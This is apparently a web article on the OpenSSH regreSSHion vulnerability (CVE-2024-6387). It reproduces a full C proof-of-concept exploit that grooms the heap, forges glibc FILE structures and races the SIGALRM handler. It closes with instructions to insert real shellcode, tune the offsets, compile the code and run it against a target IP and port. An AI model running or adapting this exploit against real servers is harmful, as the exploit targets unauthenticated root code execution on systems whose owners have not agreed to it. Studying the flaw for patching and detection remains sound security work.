Web Hacking

OpenSSH Remote Code Execution Vulnerability (CVE-2024-6387) Exploit

What it is & how to exploit it with a PoC code.



Recently, cybersecurity researchers have detected that the affected list bellow of OpenSSH versions were vulnerable to a remote code execution vulnerability, identified as (CVE-2024-6387). Due to a signal handler race condition issue in OpenSSH Server (sshd) under the default configuration, if the client does not authenticate within seconds of LoginGraceTime which is 120 seconds by default and up to 600 seconds in older versions of OpenSSH, the SIGALRM handler for sshd will be called asynchronously. The signal handler calls various non-async-signal-safe functions, such as syslog(), which can be exploited by an unauthenticated attacker to execute arbitrary code as root on glibc-based Linux systems. As of now, the vulnerability details and PoC have been disclosed.

Where is OpenSSH used?

The OpenSSH utility set is widely used. It's a popular implementation of the SSH (secure shell) protocol and is included in most Linux distributions, OpenBSD, FreeBSD, macOS, and devices based on Junos OS. Many TVs, smart doorbells, baby monitors, network media players, and robotic vacuum cleaners use Linux systems, so they often run OpenSSH too. Starting with Windows 10, OpenSSH is also available in Microsoft's operating systems, though it's optional. Overall, sshd runs on tens of millions of devices.

OpenSSH Versions Affected

  • Open SSH version earlier than 4.4p1, unless they were patched for CVE-2006-5051 and CVE-2008-4109
  • OpenSSH versions 8.5p1 up to but not including 9.8p1

RegreSSHion PoC

The original PoC code can be found in this GitHub repository, bellow is the code from it.

/** 7etsuo-regreSSHion.c
 *
 * Author         : 7etsuo
 * Date           : 2024-07-01
 *
 * Notes:
 * 1. Shellcode        : Replace placeholder with actual payload.
 * 2. GLIBC_BASES      : Needs adjustment for specific target systems.
 * 3. Timing parameters: Fine-tune based on target system responsiveness.
 * 4. Heap layout      : Requires tweaking for different OpenSSH versions.
 * 5. File structure offsets: Verify for the specific glibc version.
 * -------------------------------------------------------------------------
 */
 
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
 
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
 
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
 
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
 
int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
                  const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
                            uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
                               uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
                                 uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);
 
int
main (int argc, char *argv[])
{
  if (argc != 3)
    {
      fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
      exit (1);
    }
 
  const char *ip = argv[1];
  int port = atoi (argv[2]);
  double parsing_time = 0;
  int success = 0;
 
  srand (time (NULL));
 
  // Attempt exploitation for each possible glibc base address
  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
 
      // The advisory mentions "~10,000 tries on average"
      for (int attempt = 0; attempt < 20000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 20000\n", attempt);
            }
 
          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }
 
          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }
 
          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);
 
          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              break;
            }
 
          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }
 
  return !success;
}
 
int
setup_connection (const char *ip, int port)
{
  int sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock < 0)
    {
      perror ("socket");
      return -1;
    }
 
  struct sockaddr_in server_addr;
  memset (&server_addr, 0, sizeof (server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons (port);
  if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
    {
      perror ("inet_pton");
      close (sock);
      return -1;
    }
 
  if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
      < 0)
    {
      perror ("connect");
      close (sock);
      return -1;
    }
 
  // Set socket to non-blocking mode
  int flags = fcntl (sock, F_GETFL, 0);
  fcntl (sock, F_SETFL, flags | O_NONBLOCK);
 
  return sock;
}
 
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
             size_t len)
{
  unsigned char packet[MAX_PACKET_SIZE];
  size_t packet_len = len + 5;
 
  packet[0] = (packet_len >> 24) & 0xFF;
  packet[1] = (packet_len >> 16) & 0xFF;
  packet[2] = (packet_len >> 8) & 0xFF;
  packet[3] = packet_len & 0xFF;
  packet[4] = packet_type;
 
  memcpy (packet + 5, data, len);
 
  if (send (sock, packet, packet_len, 0) < 0)
    {
      perror ("send_packet");
    }
}
 
void
send_ssh_version (int sock)
{
  const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
  if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
    {
      perror ("send ssh version");
    }
}
 
int
receive_ssh_version (int sock)
{
  char buffer[256];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer) - 1, 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
 
  if (received > 0)
    {
      buffer[received] = '\0';
      printf ("Received SSH version: %s", buffer);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving SSH version\n");
    }
  else
    {
      perror ("receive ssh version");
    }
  return -1;
}
 
void
send_kex_init (int sock)
{
  unsigned char kexinit_payload[36] = { 0 };
  send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}
 
int
receive_kex_init (int sock)
{
  unsigned char buffer[1024];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
 
  if (received > 0)
    {
      printf ("Received KEX_INIT (%zd bytes)\n", received);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
    }
  else
    {
      perror ("receive kex init");
    }
  return -1;
}
 
int
perform_ssh_handshake (int sock)
{
  send_ssh_version (sock);
  if (receive_ssh_version (sock) < 0)
    return -1;
  send_kex_init (sock);
  if (receive_kex_init (sock) < 0)
    return -1;
  return 0;
}
 
void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }
 
  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));
 
      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }
 
  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }
 
  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}
 
void
create_fake_file_structure (unsigned char *data, size_t size,
                            uint64_t glibc_base)
{
  memset (data, 0, size);
 
  struct
  {
    void *_IO_read_ptr;
    void *_IO_read_end;
    void *_IO_read_base;
    void *_IO_write_base;
    void *_IO_write_ptr;
    void *_IO_write_end;
    void *_IO_buf_base;
    void *_IO_buf_end;
    void *_IO_save_base;
    void *_IO_backup_base;
    void *_IO_save_end;
    void *_markers;
    void *_chain;
    int _fileno;
    int _flags;
    int _mode;
    char _unused2[40];
    void *_vtable_offset;
  } *fake_file = (void *)data;
 
  // Set _vtable_offset to 0x61 as described in the advisory
  fake_file->_vtable_offset = (void *)0x61;
 
  // Set up fake vtable and _codecvt pointers
  *(uint64_t *)(data + size - 16)
      = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
  *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}
 
void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;
 
  printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}
 
double
measure_response_time (int sock, int error_type)
{
  unsigned char error_packet[1024];
  size_t packet_size;
 
  if (error_type == 1)
    {
      // Error before sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
    }
  else
    {
      // Error after sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
    }
 
  struct timespec start, end;
  clock_gettime (CLOCK_MONOTONIC, &start);
 
  send_packet (sock, 50, error_packet,
               packet_size); // SSH_MSG_USERAUTH_REQUEST
 
  char response[1024];
  ssize_t received;
  do
    {
      received = recv (sock, response, sizeof (response), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
 
  clock_gettime (CLOCK_MONOTONIC, &end);
 
  double elapsed
      = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
  return elapsed;
}
 
void
create_public_key_packet (unsigned char *packet, size_t size,
                          uint64_t glibc_base)
{
  memset (packet, 0, size);
 
  size_t offset = 0;
  for (int i = 0; i < 27; i++)
    {
      // malloc(~4KB) - This is for the large hole
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
      offset += CHUNK_ALIGN (4096);
 
      // malloc(304) - This is for the small hole (potential FILE structure)
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
      offset += CHUNK_ALIGN (304);
    }
 
  // Add necessary headers for the SSH public key format
  memcpy (packet, "ssh-rsa ", 8);
 
  // Place shellcode in the heap via previous allocations
  memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
          sizeof (shellcode));
 
  // Set up the fake FILE structures within the packet
  for (int i = 0; i < 27; i++)
    {
      create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
                                      + CHUNK_ALIGN (304) * i,
                                  CHUNK_ALIGN (304), glibc_base);
    }
}
 
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
  unsigned char final_packet[MAX_PACKET_SIZE];
  create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
 
  // Send all but the last byte
  if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
    {
      perror ("send final packet");
      return 0;
    }
 
  // Precise timing for last byte
  struct timespec start, current;
  clock_gettime (CLOCK_MONOTONIC, &start);
 
  while (1)
    {
      clock_gettime (CLOCK_MONOTONIC, &current);
      double elapsed = (current.tv_sec - start.tv_sec)
                       + (current.tv_nsec - start.tv_nsec) / 1e9;
      if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
        { // 1ms before SIGALRM
          if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
            {
              perror ("send last byte");
              return 0;
            }
          break;
        }
    }
 
  // Check for successful exploitation
  char response[1024];
  ssize_t received = recv (sock, response, sizeof (response), 0);
  if (received > 0)
    {
      printf ("Received response after exploit attempt (%zd bytes)\n",
              received);
      // Analyze response to determine if we hit the "large" race window
      if (memcmp (response, "SSH-2.0-", 8) != 0)
        {
          printf ("Possible hit on 'large' race window\n");
          return 1;
        }
    }
  else if (received == 0)
    {
      printf (
          "Connection closed by server - possible successful exploitation\n");
      return 1;
    }
  else if (errno == EWOULDBLOCK || errno == EAGAIN)
    {
      printf ("No immediate response from server - possible successful "
              "exploitation\n");
      return 1;
    }
  else
    {
      perror ("recv");
    }
  return 0;
}
 
int
perform_exploit (const char *ip, int port)
{
  int success = 0;
  double parsing_time = 0;
  double timing_adjustment = 0;
 
  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
 
      for (int attempt = 0; attempt < 10000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 10000\n", attempt);
            }
 
          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }
 
          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }
 
          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);
 
          // Implement feedback-based timing strategy
          parsing_time += timing_adjustment;
 
          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              // In a real exploit, we would now attempt to interact with the
              // shell
            }
          else
            {
              // Adjust timing based on feedback
              timing_adjustment += 0.00001; // Small incremental adjustment
            }
 
          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }
 
  return success;
}

Running the PoC Code

Running the PoC code is actually quite simple. First, modify the .c code using these instructions:

  1. Shellcode : Replace placeholder with actual payload.
  2. GLIBC_BASES : Needs adjustment for specific target systems.
  3. Timing parameters: Fine-tune based on target system responsiveness.
  4. Heap layout : Requires tweaking for different OpenSSH versions.
  5. File structure offsets: Verify for the specific glibc version.

After you've edited the code, run the instructions bellow for your operating system.

Install gcc

To compile the .c code, you will need to install gcc. You can do that by running:

Debian: sudo apt install gcc -y Red Hat: sudo yum install gcc macOS: brew install gcc

After that, compile the code using gcc:

gcc -o pwn-regresshion 7etsuo-regreSSHion.c

Replace 7etsuo-regreSSHion.c with the name of the PoC file.

Run the exploit!

./pwn-regresshion <ip> <port>